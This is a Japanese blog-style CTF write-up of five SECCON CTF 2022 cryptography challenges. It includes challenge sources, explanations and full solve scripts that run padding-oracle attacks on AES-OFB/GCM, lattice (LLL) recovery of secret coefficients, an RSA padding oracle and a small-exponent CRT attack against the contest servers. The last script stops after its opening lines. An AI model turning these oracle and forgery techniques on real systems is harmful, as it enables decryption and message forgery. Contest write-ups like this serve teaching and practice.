SECCON CTF 2022 Writeup

Sun Nov 13 2022

11/12-11/13 で開催していた SECCON CTF 2022 に参加しました。結果は 13th/726 でした (得点のあるチームのみカウント)。解いた問題について writeup を書きます。

crypto

witches_symmetric_exam

22 solves

problem.py
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flag import flag, secret_spell

key = get_random_bytes(16)
nonce = get_random_bytes(16)


def encrypt():
    data = secret_spell
    gcm_cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
    gcm_ciphertext, gcm_tag = gcm_cipher.encrypt_and_digest(data)

    ofb_input = pad(gcm_tag + gcm_cipher.nonce + gcm_ciphertext, 16)

    ofb_iv = get_random_bytes(16)
    ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv)
    ciphertext = ofb_cipher.encrypt(ofb_input)
    return ofb_iv + ciphertext


def decrypt(data):
    ofb_iv = data[:16]
    ofb_ciphertext = data[16:]
    ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv)

    try:
        m = ofb_cipher.decrypt(ofb_ciphertext)
        temp = unpad(m, 16)
    except:
        return b"ofb error"

    try:
        gcm_tag = temp[:16]
        gcm_nonce = temp[16:32]
        gcm_ciphertext = temp[32:]
        gcm_cipher = AES.new(key, AES.MODE_GCM, nonce=gcm_nonce)

        plaintext = gcm_cipher.decrypt_and_verify(gcm_ciphertext, gcm_tag)
    except:
        return b"gcm error"

    if b"give me key" == plaintext:
        your_spell = input("ok, please say secret spell:").encode()
        if your_spell == secret_spell:
            return flag
        else:
            return b"Try Harder"

    return b"ok"


print(f"ciphertext: {encrypt().hex()}")
while True:
    c = input("ciphertext: ")
    print(decrypt(bytes.fromhex(c)))

secret_spell を AES の GCM モードで暗号化+署名生成した後、それらをさらに AES の OFB モードで暗号化したものが渡されます。

AES の OFB モードは wikipedia の図を見ればわかるように、 ciphertext をいじることによって復号結果を調整することが簡単にできます。そのため Padding Oracle Attack を使って平文 (ここでは GCM モードのタグ、 nonce、暗号文) が求まります。またこれを応用し、 iv の値を指定することで AES の Enc(iv) も求められます。これで GCM モードのタグを計算するのに必要するための値はすべて計算できるため、後はやるだけです。

solve.sage
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from pwn import xor, remote, unhex


X = GF(2).polynomial_ring().gen()
poly = X ** 128 + X ** 7 + X ** 2 + X ** 1 + 1
F = GF(2 ** 128, name='a', modulus=poly)
R.<x> = PolynomialRing(F)


def tobin(x, n):
    x = Integer(x)
    nbits = x.nbits()
    assert nbits <= n
    return x.bits() + [0] * (n - nbits)


def frombin(v):
    return int("".join(map(str, v)), 2)


def toF(x):
    x = frombin(tobin(x, 128))
    return F.fetch_int(x)


def fromF(x):
    x = x.integer_representation()
    x = frombin(tobin(x, 128))
    return x


def encrypt():
    _ = io.recvuntil(b"ciphertext: ")
    return unhex(io.recvline().strip().decode())


def decrypt(data: bytes):
    io.sendlineafter(b"ciphertext: ", data.hex().encode())
    return io.recvline().strip()


io = remote("witches-symmetric-exam.seccon.games", 8080)

ct = encrypt()
iv = ct[:16]
ct = ct[16:]

pt = b""
for block_idx in range(0, 64, 16)[::-1]:
    ct_block = ct[:block_idx + 16]
    for i in range(16):
        for j in range(256):
            if b"ofb error" not in decrypt(iv + ct_block[:-16] + ct_block[-16:-16+15-i] + long_to_bytes(j) + ct_block[len(ct_block)-16+16-i:]):  # TODO ofb error
                k = (i + 1) ^^ j  # k は AES の出力
                tmp = long_to_bytes(k ^^ ct_block[-16+15-i])
                if i == 0 and tmp == b"\x01":
                    continue
                pt = tmp + pt
                ct_block = ct_block[:-16] + ct_block[-16:-16+15-i] + xor(long_to_bytes(j) + ct_block[len(ct_block)-16+16-i:], long_to_bytes(i + 1), long_to_bytes(i + 2))
                print(pt)
                break

temp = unpad(pt, 16)
gcm_tag = temp[:16]
gcm_nonce = temp[16:32]
gcm_ciphertext = temp[32:]


def find_encrypt_input(inp: bytes):
    assert len(inp) == 16
    ret = b""
    ct_block = b"\x00" * 16
    iv = inp
    for i in range(16):
        for j in range(256):
            if b"ofb error" not in decrypt(iv + ct_block[:-16] + ct_block[-16:-16+15-i] + long_to_bytes(j) + ct_block[len(ct_block)-16+16-i:]):  # TODO ofb error
                k = (i + 1) ^^ j  # k は AES の出力
                tmp = long_to_bytes(k ^^ ct_block[-16+15-i])
                if i == 0 and tmp == b"\x01":
                    continue
                ret = long_to_bytes(k) + ret
                print(ret)
                ct_block = ct_block[:-16] + ct_block[-16:-16+15-i] + xor(long_to_bytes(j) + ct_block[len(ct_block)-16+16-i:], long_to_bytes(i + 1), long_to_bytes(i + 2))
                break
    return ret

H_bytes = find_encrypt_input(b"\x00" * 16)
H = toF(bytes_to_long(H_bytes))


def ghash(iv: bytes, H):
    fill = (16 - (len(iv) % 16)) % 16 + 8
    ghash_in = iv + b"\x00" * fill + long_to_bytes(8 * len(iv), 8)
    assert len(ghash_in) % 16 == 0
    ghash = toF(0)
    for i in range(0, len(ghash_in), 16):
        ghash_block = ghash_in[i: i+16]
        ghash += toF(bytes_to_long(ghash_block))
        ghash *= H
    return long_to_bytes(fromF(ghash))


j0 = ghash(gcm_nonce, H)
nonce_ctr = j0[:12]
iv_ctr_0 = long_to_bytes((bytes_to_long(j0) + 1) & 0xffffffff, 4)
iv_ctr_1 = long_to_bytes((bytes_to_long(j0) + 2) & 0xffffffff, 4)
ctr_enc_0 = find_encrypt_input(nonce_ctr + iv_ctr_0)
ctr_enc_1 = find_encrypt_input(nonce_ctr + iv_ctr_1)
dec_0 = xor(gcm_ciphertext[:16], ctr_enc_0)
dec_1 = xor(gcm_ciphertext[16:], ctr_enc_1)[:len(gcm_ciphertext[16:])]
dec_secret_spell = dec_0 + dec_1
print(dec_secret_spell)
# b'decrypt_all!!277260221!!'

new_pt = b"give me key"
S = toF(bytes_to_long(find_encrypt_input(j0)))
L = toF(int("%016x%016x" % (0, 8*len(new_pt)), 16))
new_ct = b""
Cs = []
for i in range(0, len(new_pt), 16):
    pt_block = new_pt[i: i+16]
    C = toF(bytes_to_long(xor(ctr_enc_0, pt_block.ljust(16, b"\x00"))))
    ct_block = long_to_bytes(fromF(C))[:len(pt_block)]
    Cs.append(toF(bytes_to_long(ct_block + b"\x00" * (-len(ct_block) % 16))))
    new_ct += ct_block
T = toF(0)
for i, C in enumerate(Cs[::-1], 2):
    T += C * H**i
T += L * H + S
tag = long_to_bytes(fromF(T))

new_new_ct = b""
new_new_ct += xor(ct[:16], pt[:16], tag)
new_new_ct += xor(ct[16:32], pt[16:32], gcm_nonce)
new_new_ct += xor(ct[32:48], pt[32:48], pad(new_ct, 16))

io.sendlineafter(b"ciphertext: ", (iv + new_new_ct).hex().encode())
io.sendlineafter(b"ok, please say secret spell:", dec_secret_spell)
print(io.recvline())

SECCON{you_solved_this!?I_g1ve_y0u_symmetr1c_cipher_mage_certificate}

insufficient

33 solves

problem.py
from random import randint
from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG


# f(x,y,z) = a1*x + a2*x^2 + a3*x^3
#          + b1*y + b2*y^2 + b3*y^3
#          + c*z + s mod p
def calc_f(coeffs, x, y, z, p):
    ret = 0
    ret += x * coeffs[0] + pow(x, 2, p) * coeffs[1] + pow(x, 3, p)*coeffs[2]
    ret += y * coeffs[3] + pow(y, 2, p) * coeffs[4] + pow(y, 3, p)*coeffs[5]
    ret += z * coeffs[6]
    ret += coeffs[7]

    return ret % p


p = getPrime(512)


# [a1, a2, a3, b1, b2, b3, c, s]
coeffs = [randint(0, 2**128) for _ in range(8)]

key = 0
for coeff in coeffs:
    key <<= 128
    key ^= coeff

cipher_text = bytes_to_long(FLAG) ^ key
print(cipher_text)

shares = []
for _ in range(4):
    x = randint(0, p)
    y = randint(0, p)
    z = randint(0, 2**128)

    w = calc_f(coeffs, x, y, z, p)
    packed_share = ((x,y), w)
    shares.append(packed_share)

print(p)
print(shares)

randint(0, 2**128) で生成された $a_1, a_2, a_3, b_1, b_2, b_3, c, s$ を使って key が計算され、その key でフラグが暗号化されています。また、これらの係数を求めるヒントとして、 $x_i, y_i$ ( $0 \le i < 4$ ) と $f_i = a_1 x_i + a_2 x_i^2 + a_3 x_i^3 + b_1 y_i + b_2 y_i^2 + b_3 y_i^3 + c z_i + s \mod p$ が与えられています。 $z_i$ は未知で、 random.randint(0, 2**128) で生成されています。

$f_i$ の式は、 $cz_i$ をひっくるめて変数とみなすと、 $a_1, a_2, a_3, b_1, b_2, b_3, c z_i, s$ について線形な式になっています。しかも $p$ の値に比べて各係数は十分小さいです。 LLL を使えという声が聞こえてきます。格子の作り方は下のスクリプトを参照してください。

注意点として、この格子の作り方だと、 $cz_i + s$ については正しい値が見つかりますが、 $cz_i, s$ の値は不定になってしまいます。これは求まった $cz_i, s$ がそれぞれ $cz_i + \delta, s - \delta$ という値を取りうるからです。 $\delta$ を無視するため、 $(cz_i + \delta) - (cz_j + \delta) = c(z_i - z_j)$ を複数求め、 gcd を取れば $c$ が求まり、そこから $z_i, s, \delta$ も求まります。

solve.sage
ct = 115139400156559163067983730101733651044517302092738415230761576068368627143021367186957088381449359016008152481518188727055259259438853550911696408473202582626669824350180493062986420292176306828782792330214492239993109523633165689080824380627230327245751549253757852668981573771168683865251547238022125676591
p = 8200291410122039687250292442109878676753589397818032770561720051299309477271228768886216860911120846659270343793701939593802424969673253182414886645533851
shares = [((6086926015098867242735222866983726204461220951103360009696454681019399690511733951569533187634005519163004817081362909518890288475814570715924211956186561, 180544606207615749673679003486920396349643373592065733048594170223181990080540522443341611038923128944258091068067227964575144365802736335177084131200721), 358596622670209028757821020375422468786000283337112662091012759053764980353656144756495576189654506534688021724133853284750462313294554223173599545023200), ((1386358358863317578119640490115732907593775890728347365516358215967843845703994105707232051642221482563536659365469364255206757315665759154598917141827974, 4056544903690651970564657683645824587566358589111269611317182863269566520886711060942678307985575546879523617067909465838713131842847785502375410189119098), 7987498083862441578197078091675653094495875014017487290616050579537158854070043336559221536943501617079375762641137734054184462590583526782938983347248670), ((656537687734778409273502324331707970697362050871244803755641285452940994603617400730910858122669191686993796208644537023001462145198921682454359699163851, 7168506530157948082373212337047037955782714850395068869680326068416218527056283262697351993204957096383236610668826321537260018440150283660410281255549702), 1047085825033120721880384312942308021912742666478829834943737959325181775143075576517355925753610902886229818331095595005460339857743811544053574078662507), ((5258797924027715460925283932681628978641108698338452367217155856384763787158334845391544834908979711067046042420593321638221507208614929195171831766268954, 4425317882205634741873988391516678208287005927456949928854593454650522868601946818897817646576217811686765487183061848994765729348913592238613989095356071), 866086803634294445156445022661535120113351818468169243952864826652249446764789342099913962106165135623940932785868082548653702309009757035399759882130676)]


# [a1, a2, a3, b1, b2, b3, s, cz1, cz2, cz3, cz4, k1, k2, k3, k4] * mat
mat = matrix(ZZ, 15, 15)
lb = []
ub = []
for i in range(7):
    mat[i, i] = 1
    lb.append(0)
    ub.append(2**128)
for i in range(7, 11):
    mat[i, i] = 1
    lb.append(0)
    ub.append(2**256)
for i in range(4):
    (x, y), w = shares[i]
    mat[0, 11+i] = x
    mat[1, 11+i] = pow(x, 2, p)
    mat[2, 11+i] = pow(x, 3, p)
    mat[3, 11+i] = y
    mat[4, 11+i] = pow(y, 2, p)
    mat[5, 11+i] = pow(y, 3, p)
    mat[6, 11+i] = 1
    mat[7+i, 11+i] = 1
    mat[11+i, 11+i] = -p
    lb.append(w)
    ub.append(w)
# https://github.com/rkm0959/Inequality_Solving_with_CVP/blob/main/solver.sage
res = solve(mat, lb, ub)

cz_pad = []
for i in range(4):
    cz_pad.append(int(res[2][7+i]))

c = gcd(cz_pad[0] - cz_pad[1], cz_pad[0] - cz_pad[2])
t = cz_pad[0] % c - c
s = int(res[2][6]) + t

coeffs = []
for i in range(6):
    coeffs.append(int(res[2][i]))
coeffs.append(c)
coeffs.append(s)

key = 0
for coeff in coeffs:
    key <<= 128
    key ^^= coeff

print(long_to_bytes(ct ^^ key))

SECCON{Unfortunately_I_could_not_come_up_with_a_more_difficult_problem_than_last_year_sorry...-6fc18307d3ed2e7673a249abc2e0e22c}

this_is_not_lsb

34 solves

problem.py
from Crypto.Util.number import *
from flag import flag

p = getStrongPrime(512)
q = getStrongPrime(512)
e = 65537
n = p * q
phi = (p - 1) * (q - 1)

d = pow(e, -1, phi)

print(f"n = {n}")
print(f"e = {e}")
print(f"flag_length = {flag.bit_length()}")

# Oops! encrypt without padding!
c = pow(flag, e, n)
print(f"c = {c}")

# padding format: 0b0011111111........
def check_padding(c):
    padding_pos = n.bit_length() - 2
    m = pow(c, d, n)

    return (m >> (padding_pos - 8)) == 0xFF


while True:
    c = int(input("c = "))
    print(check_padding(c))

padding の形が特殊で、復号結果の先頭ビットが 0011111111 となっているときに unpad が成功します。

$m$ をフラグ、 $c = m^e \mod n$ として、 $c k^e \mod n$ を送信すると、復号結果は $mk \mod n$ となることを利用します。ある適当な $k$ を送信して unpad が成功した場合、 $mk \mod n$ が 0011111111 で始まることとなり $n$ よりもやや小さいことがわかります。このような $k$ を大量に集めて LLL を使えば $m$ が求まります (40個ぐらい集めた)。

solve.sage
import random
from tqdm import tqdm
from pwn import remote

ks = []
ns = []

while True:
    io = remote("this-is-not-lsb.seccon.games", 8080)
    _ = io.recvuntil(b"n = ")
    n = int(io.recvline())
    if n.bit_length() != 1024:
        print("yarinaoshi")
        io.close()
    else:
        break
_ = io.recvuntil(b"flag_length = ")
flag_length = int(io.recvline())
_ = io.recvuntil(b"c = ")
c = int(io.recvline())
e = 65537

for _ in tqdm(range(40000)):
    k = random.randint(1, n - 1)
    _ = io.sendlineafter(b"c = ", str(c * pow(k, e, n) % n).encode())
    if io.recvline().strip().decode() == "True":
        ks.append(k)
        ns.append(n)
        print(len(ks), k)

M = len(ks)
# [pad, pad, ..., m] = [l1, l2, ... lM, m] * mat
mat = matrix(ZZ, M+1, M+1)
for i in range(M):
    mat[i, i] = -ns[i]
    mat[M, i] = ks[i]
mat[M, M] = 1
lb = [int("0011111111" + "0" * 1014, 2)] * M + [bytes_to_long(b"SECCON{") * 256 ** 48]
ub = [int("0011111111" + "1" * 1014, 2)] * M + [bytes_to_long(b"SECCON|") * 256 ** 48]
res = solve(mat, lb, ub)
print(long_to_bytes(int(res[2][-1])))

SECCON{WeLC0me_t0_tHe_MirRoR_LaNd!_tHIs_is_lSb_orAcLe!}

BBB

50 solves

chall.py
from Crypto.Util.number import bytes_to_long, getPrime
from random import randint
from math import gcd
from secret import FLAG
from os import urandom


assert len(FLAG) < 100


def generate_key(rng, seed):
    e = rng(seed)
    while True:
        for _ in range(randint(10,100)):
            e = rng(e)
        p = getPrime(1024)
        q = getPrime(1024)
        phi = (p-1)*(q-1)
        if gcd(e, phi) == 1:
            break

    n = p*q
    return (n, e)


def generate_params():
    p = getPrime(1024)
    a = randint(0, p-1)

    return (p,a)


def main():
    p,a = generate_params()
    print("[+] The parameters of RNG:")
    print(f"{a=}")
    print(f"{p=}")
    b = int(input("[+] Inject [b]ackdoor!!: "))
    rng = lambda x: (x**2 + a*x + b) % p

    keys = []
    seeds = []
    for i in range(5):
        seed = int(input("[+] Please input seed: "))
        seed %= p
        if seed in seeds:
            print("[!] Same seeds are not allowed!!")
            exit()
        seeds.append(seed)
        n, e = generate_key(rng, seed)
        if e <= 10:
            print("[!] `e` is so small!!")
            exit()

        keys.append((n,e))

    flag = bytes_to_long(FLAG + urandom(16))
    for n,e in keys:
        c = pow(flag, e, n)
        print("[+] Public Key:")
        print(f"{n=}")
        print(f"{e=}")
        print("[+] Cipher Text:", c)


if __name__ == "__main__":
    main()

RSA の公開鍵 $e$ が、 $e = \mathrm{rng}(e)$ を何度か計算 (回数はランダム) することで生成されます。 rng は $f(x) = x^2 + ax + b \mod p$ という形をしており、 $a, p$ は given で $b$ と $e$ の初期値は指定できます。生成された $e$ と $n$ を使って暗号化したフラグが得られます。これを5回行えます。

$e$ が小さいときになんか悪さができないか気になるので初手で確認します。 $e \le 10$ は弾かれてしまうため、 $e = 11$ のときを考えると、フラグの文字数が99文字以下であることから暗号文の mod を取る前は $99 \times 8 \times 11 = 8712$ bit であることがわかります。 2048 bit の $n$ 5個での暗号が既知なため、 CRT を計算すれば $2048 \times 5 = 10240$ bit 以下の暗号文については $e$ 乗根を取れば平文が直接計算できてしまいます。

$e = 11$ を5回実現する $b$ と $e$ の初期値を考えます。 $b$ については $e = e^2 + ae + b \mod p$ となるように決めてあげれば、 $e = 11$ が不動点となり rng を呼ぶ回数に関わらず $e$ が固定されます。数回 (例えば4回) rng を計算することで $e = 11$ となるような初期値は $f(f(f(f(e)))) = e \mod e$ を解くことで求まります。これの解の個数については $p, a$ に依存してしまうため、何回かガチャを回す必要がありました。

solve.sage
a=27369245210289386000526318514605318971653744035453041755627936950191800370152514525569332479447801956262032901707717125882844247382472152455434481666695796989837027986272859891721819470297025863094697089997184239773496107857592420268317359858275093675476827404478533805160124354119128072421752989042825267445
p=130093144968243935078986528479766130437304163620555723854545367089878986296019866578111181166480453668822869467410372758232509622191746977509119000442762376116637490521234470851889951225051406222367975586382630818585688578771312073687545768706330682143386332513352136013919176563564224353727902173378017506517

x = 11
b = (x - (x ** 2 + a * x)) % p
PR.<x> = PolynomialRing(Zmod(p))
f = x
for _ in range(4):
    f = f^2 + a * f + b
roots = (f - 11).roots(multiplicities=False)
print(roots)

"""
[+] The parameters of RNG:
a=52277472080269613433144640539303534154154668798737834165115043595876739227442108053148002885892522326069219595206892041739111316065671229949250521821449042711622590673835477663652491943227757967748818830657298306042203539329637341548678949584350056573262256579991020617185626644801564376991915479254627098106
p=128935882295615658034848963571001401569570030526989068702233912414162535164619439929091116879472821302327076660169626528400203289516018703892450126963333865525141651603323113437523406418322196508172425137791184649576731443783999933794481139284801850539862808404559548596572086091644848176170513832440182326703
[+] Inject [b]ackdoor!!: 69627218595112542409653771922668132152148795848829167694904082516168544321234011060827552652546360924873967753572320182870791970857709990020494894780729857797859760604425312887439620716105644895625118551725641881419418286293988911936937250996158630393429219642896516193818537365407032733941498890400013554239
[+] Please input seed: 11
[+] Please input seed: 6201518432286934030495159591413396426269909746193971801521532605463506046423635263104158317526191916624340062254271847833970032745044898179153841458657640542007389686750635234987236709747304871277385909380442046713965698392233165763426072985733637122566195990833785209544550153755514824916906763569925303818
[+] Please input seed: 11163870618455787345224486267573474080033997787280805036566310251363696420748699966921814199222231588307865402229876368875461090319722614540978383054419313244646930781988780382358250282309658246165513657504329788230900153138832465174396966940103023415778630937312085971177981535544465613355736885903100063891
[+] Please input seed: 26032725239817815450441757151638177043200424576767800672094499029738176303708951443012323036123160072049632219678510026706737783739593103053385261965532637790371801264958162240061079902572753686480638329176809269025098552486932149069193504029578605527242077971100414056576316774937052086115640513262846044549
[+] Please input seed: 50625684975528229151262565880059690372214937151483433865024369788547619633468380432930790957457138904208224845284224459954354189710754370889814343176352185023147259664529473533809834572521684853942967977957077074509429351967430443176608685670873188439358473853468113922810142671906231713062957839922709184048
[+] Public Key:
n=22613348679702495219351633545031633063620394355834365312399599057754915315452210989918206531176630892546787541881034831386013453297051998269954756310493861505427550769828866005416603054559728345896907978975079211590296622514425568137515120937738546956240516068925094155443440769592457890749632692855150317796525639109892233235693735487928277772322844743811238272535615952194816471306022873460674076330764587095303516349725454701095437089049025135528886887667435614298245195270962892661988440785326845961972043133501093953478882415310500952548379858409472629446235263930381245654051557633698777106822307542287703907269
e=11
[+] Cipher Text: 6878732537233753109832483290266651063614447044398347084819777840853165947203507369788126298415036013002661271324860933886111074677232822740045152817461690617990902678312306808891517925776348800496312485748056772141514993834668978209438280861909980008331766402034879910942824260752266756519181315731287191835392922717370337222556297168753207638645117081107598711825773565865229488157636882730142794189855074388448694203639616895758814957039667519557180433384721284006522153895024861666073665233081821430338993433350713318779633939072477125006368493598896255397493627223958200746135515845262560900830032082933876823846
[+] Public Key:
n=13133014074035138400067665316961915072193507072225500957802085734048457503882599709052833289171035439634567810626509466586090533938912085501623235590019603049964966879606731941546684469579587146870548201820262052498675417210737966888036930071028531478817597870128224258287756042537230981419522821606718525855843240014604664221469197215394225320400437247092986008511984819846062289772969978522076494035299458975949439234097832661865810100120591103118310004297832318549029706300914765772919912295332635372537976879133169404185188378768158913399067963946703531729791315404220844679466149723628749712619382058108386560451
e=11
[+] Cipher Text: 12256225936835976787019680958336212278044118862465520800553544614087223806626860766290399176688590330102297301461074146408453010087764709934662765753500496656279140005596745634200532522203705332746267215893371465619817212006180188737998922881114480063713976315623175075706144613411969772989639510491385378872944655147840563607788108468029096540066811944465074011663710453301515542235299684259486183739177126116527412080613020730995435610495120806176717748413565126934819276984211501695713346423058207564958748731759722987805875085856618165750685787734749229632251955372955623529555669994809992735608033385868808239114
[+] Public Key:
n=16123968586884933733389574291090914963167150419289874128348128872079229709540830478901870144045528476121264647347085694986698336712182802424687184091361517637506394689515675363343349624495437931954684618875268085545315821571788494549022427977385174327073591580049030420788831195858470152487900922238839044980345001556929363995380814026375959360628717964645904859132706622763021507075036041649231842587774215787970288186683422381737588068390450677248226880323895544567226145425840512539437539583025276852910269801339827230226401906679990392759959459271813793047558522035131051438040341019219030981740556149390487603467
e=11
[+] Cipher Text: 11331105292061989501032149514156450465805173159909131280723989710674237030363750872548867430904389751159310018284842221846445095489793695163730793322816822511557106286430809333926432810847849939546667114001971805685647530615137286026457496123256864567354912625327463945465830474419792573263934905912525150110930342116768789614995391794926048075000757152906266649596756304901256262778931653173869467636613252714792799741633245432091794124468296008851778732084272142664458682799302529900574165723080507233042276267304460311355451924278486409408816619876612291321116991718221857013638562426760760544112596495363069149984
[+] Public Key:
n=10778708623873496481084918966385444393601239104663339141341545827042085586887842088551820774640526447988736026000240413289142402279875817417071641806898541877312592741387053430320567460579810221775937443583044458287236371310285871261138109164887717581406051669177596903596329554791553166014385497050622099691977874358876326487816085434199496366401730308189174404349228152833314564255458609864815532870783875462313410496143001157146096101571566353247724883644304339271734879272585121296167477479313355786187629443460084447614985936407388688733961144397706991752435750766547284253679882470229344159434274514031441249391
e=11
[+] Cipher Text: 3418272553336520064541623070574780761359201346292525917263436047425587760113922548343905648075268957054718028652654256556268441348250837298635426011730005545675262193115820096722244990600962368761459710991297819556710421575343931535035636518179774812262238134263841699524504401689132483458855711218798419896281930404420786787320109025451103243461475493921900689855687211308240372069194688366049041375747367766244180416646564541825840881449938484183484729176197612530978290725224747157050919772189238708045620897194642706392113561343346970737657544058361852820731673931064706508848481269733656616073204202610701284860
[+] Public Key:
n=15424422539219448603211027858071725237035568352520041306358601418807853775866351824682851654203585545784066668874895015279498542162746232104058937455781588098093560716195017648861111083997352761078465190607779319373263633616868913369444457297401568579206526171132771301506718022681722720738371599393789554558724784841806617245824481060063193898767882548276844546029968012104417372617478377642277254343600706069994900298057806744997336972747886055143620817312578373411804816609955861003111850426890844567422517003425274582723717856655133752290500848610291922685772790907224308424330839379039921520128794649028246710147
e=11
[+] Cipher Text: 10276855620814903051485572369117271727022358309261826475344005529963381525321913297258330766602862145392558913159697342679943437220502777256104540022276078255919728806068426901029791438490722935045631907744068270502041412875768096901186617372041730418419101809407437807684518390713989373797490008648475166145782042124137855236048700425473915266364822860744031142683870289771757301786867453187784778240529594798602715869564493614908001822358655922520745080875367174949697176016542637598602733816902239926888176108124419675686788675997314065277791026362844425112273371662621120875171800779520693163047544991528631029537
"""

ns = []
cs = []
n=22613348679702495219351633545031633063620394355834365312399599057754915315452210989918206531176630892546787541881034831386013453297051998269954756310493861505427550769828866005416603054559728345896907978975079211590296622514425568137515120937738546956240516068925094155443440769592457890749632692855150317796525639109892233235693735487928277772322844743811238272535615952194816471306022873460674076330764587095303516349725454701095437089049025135528886887667435614298245195270962892661988440785326845961972043133501093953478882415310500952548379858409472629446235263930381245654051557633698777106822307542287703907269
c = 6878732537233753109832483290266651063614447044398347084819777840853165947203507369788126298415036013002661271324860933886111074677232822740045152817461690617990902678312306808891517925776348800496312485748056772141514993834668978209438280861909980008331766402034879910942824260752266756519181315731287191835392922717370337222556297168753207638645117081107598711825773565865229488157636882730142794189855074388448694203639616895758814957039667519557180433384721284006522153895024861666073665233081821430338993433350713318779633939072477125006368493598896255397493627223958200746135515845262560900830032082933876823846
ns.append(n)
cs.append(c)
n=13133014074035138400067665316961915072193507072225500957802085734048457503882599709052833289171035439634567810626509466586090533938912085501623235590019603049964966879606731941546684469579587146870548201820262052498675417210737966888036930071028531478817597870128224258287756042537230981419522821606718525855843240014604664221469197215394225320400437247092986008511984819846062289772969978522076494035299458975949439234097832661865810100120591103118310004297832318549029706300914765772919912295332635372537976879133169404185188378768158913399067963946703531729791315404220844679466149723628749712619382058108386560451
c = 12256225936835976787019680958336212278044118862465520800553544614087223806626860766290399176688590330102297301461074146408453010087764709934662765753500496656279140005596745634200532522203705332746267215893371465619817212006180188737998922881114480063713976315623175075706144613411969772989639510491385378872944655147840563607788108468029096540066811944465074011663710453301515542235299684259486183739177126116527412080613020730995435610495120806176717748413565126934819276984211501695713346423058207564958748731759722987805875085856618165750685787734749229632251955372955623529555669994809992735608033385868808239114
ns.append(n)
cs.append(c)
n=16123968586884933733389574291090914963167150419289874128348128872079229709540830478901870144045528476121264647347085694986698336712182802424687184091361517637506394689515675363343349624495437931954684618875268085545315821571788494549022427977385174327073591580049030420788831195858470152487900922238839044980345001556929363995380814026375959360628717964645904859132706622763021507075036041649231842587774215787970288186683422381737588068390450677248226880323895544567226145425840512539437539583025276852910269801339827230226401906679990392759959459271813793047558522035131051438040341019219030981740556149390487603467
c = 11331105292061989501032149514156450465805173159909131280723989710674237030363750872548867430904389751159310018284842221846445095489793695163730793322816822511557106286430809333926432810847849939546667114001971805685647530615137286026457496123256864567354912625327463945465830474419792573263934905912525150110930342116768789614995391794926048075000757152906266649596756304901256262778931653173869467636613252714792799741633245432091794124468296008851778732084272142664458682799302529900574165723080507233042276267304460311355451924278486409408816619876612291321116991718221857013638562426760760544112596495363069149984
ns.append(n)
cs.append(c)
n=10778708623873496481084918966385444393601239104663339141341545827042085586887842088551820774640526447988736026000240413289142402279875817417071641806898541877312592741387053430320567460579810221775937443583044458287236371310285871261138109164887717581406051669177596903596329554791553166014385497050622099691977874358876326487816085434199496366401730308189174404349228152833314564255458609864815532870783875462313410496143001157146096101571566353247724883644304339271734879272585121296167477479313355786187629443460084447614985936407388688733961144397706991752435750766547284253679882470229344159434274514031441249391
c = 3418272553336520064541623070574780761359201346292525917263436047425587760113922548343905648075268957054718028652654256556268441348250837298635426011730005545675262193115820096722244990600962368761459710991297819556710421575343931535035636518179774812262238134263841699524504401689132483458855711218798419896281930404420786787320109025451103243461475493921900689855687211308240372069194688366049041375747367766244180416646564541825840881449938484183484729176197612530978290725224747157050919772189238708045620897194642706392113561343346970737657544058361852820731673931064706508848481269733656616073204202610701284860
ns.append(n)
cs.append(c)
n=15424422539219448603211027858071725237035568352520041306358601418807853775866351824682851654203585545784066668874895015279498542162746232104058937455781588098093560716195017648861111083997352761078465190607779319373263633616868913369444457297401568579206526171132771301506718022681722720738371599393789554558724784841806617245824481060063193898767882548276844546029968012104417372617478377642277254343600706069994900298057806744997336972747886055143620817312578373411804816609955861003111850426890844567422517003425274582723717856655133752290500848610291922685772790907224308424330839379039921520128794649028246710147
c = 10276855620814903051485572369117271727022358309261826475344005529963381525321913297258330766602862145392558913159697342679943437220502777256104540022276078255919728806068426901029791438490722935045631907744068270502041412875768096901186617372041730418419101809407437807684518390713989373797490008648475166145782042124137855236048700425473915266364822860744031142683870289771757301786867453187784778240529594798602715869564493614908001822358655922520745080875367174949697176016542637598602733816902239926888176108124419675686788675997314065277791026362844425112273371662621120875171800779520693163047544991528631029537
ns.append(n)
cs.append(c)

C = crt(cs, ns)
N = prod(ns)
print(long_to_bytes(int(C ** (1 / 11))))

SECCON{Can_you_find_d_in_bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbdbbbbbbbbbbbbbbbbbbbbbbbbbbbbb?}

pqpq

112 solves

problem.py
from Crypto.Util.number import *
from Crypto.Random import *
from flag import flag

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
n = p * q * r
e = 2 * 65537

assert n.bit_length() // 8 - len(flag) > 0
padding = get_random_bytes(n.bit_length() // 8 - len(flag))
m = bytes_to_long(padding + flag)

assert m < n

c1p = pow(p, e, n)
c1q = pow(q, e, n)
cm = pow(m, e, n)
c1 = (c1p - c1q) % n
c2 = pow(p - q, e, n)

print(f"e = {e}")
print(f"n = {n}")
# p^e - q^e mod n
print(f"c1 = {c1}")
# (p-q)^e mod n
print(f"c2 = {c2}")
# m^e mod n
print(f"cm = {cm}")

$c_1 = p^e - q^e \mod n$ と $c_2 = (p - q)^{e} \mod n$ が既知です。 $c_2 = (p - q)^e = p^e + q^e \mod n$ ( $\because e \mathrm{\,is\,even}$ ) が成り立つため、 $c_1 + c_2 = 2p^e \mod n$ です。これと $n$ の gcd を取ることで $p$ が求まります。 $q$ も同様です。 $p, q$ がわかれば $r$ もわかります。

この問題の厄介ポイントは $e$ が偶数であるために $ed = 1 \mod \phi$ なる $d$ が存在しないことです ( $\phi$ が偶数なので)。そのため、 $c_m = m^e \mod n$ となる $m$ は複数通り存在します。これらをすべて求めるため、 $c_m = m^e \mod p$ となる $m$ をまず列挙します。 $4 | p - 1$ , $8 \nmid p - 1$ なので $ed = 1 \mod \phi / 4$ となる $d$ と位数が4となる $L$ を $k^{\phi / 4} \mod p$ により探します。これらを使って、 $c_m^d L^i \mod p$ ( $0 \le i < 4$ ) を計算したものが解候補になります。これを $q, r$ についても同様に行い、それぞれの CRT を計算することで $c_m = m^e \mod n$ の解候補を列挙できます。

solve.sage
from Crypto.Util.number import long_to_bytes


e = 131074
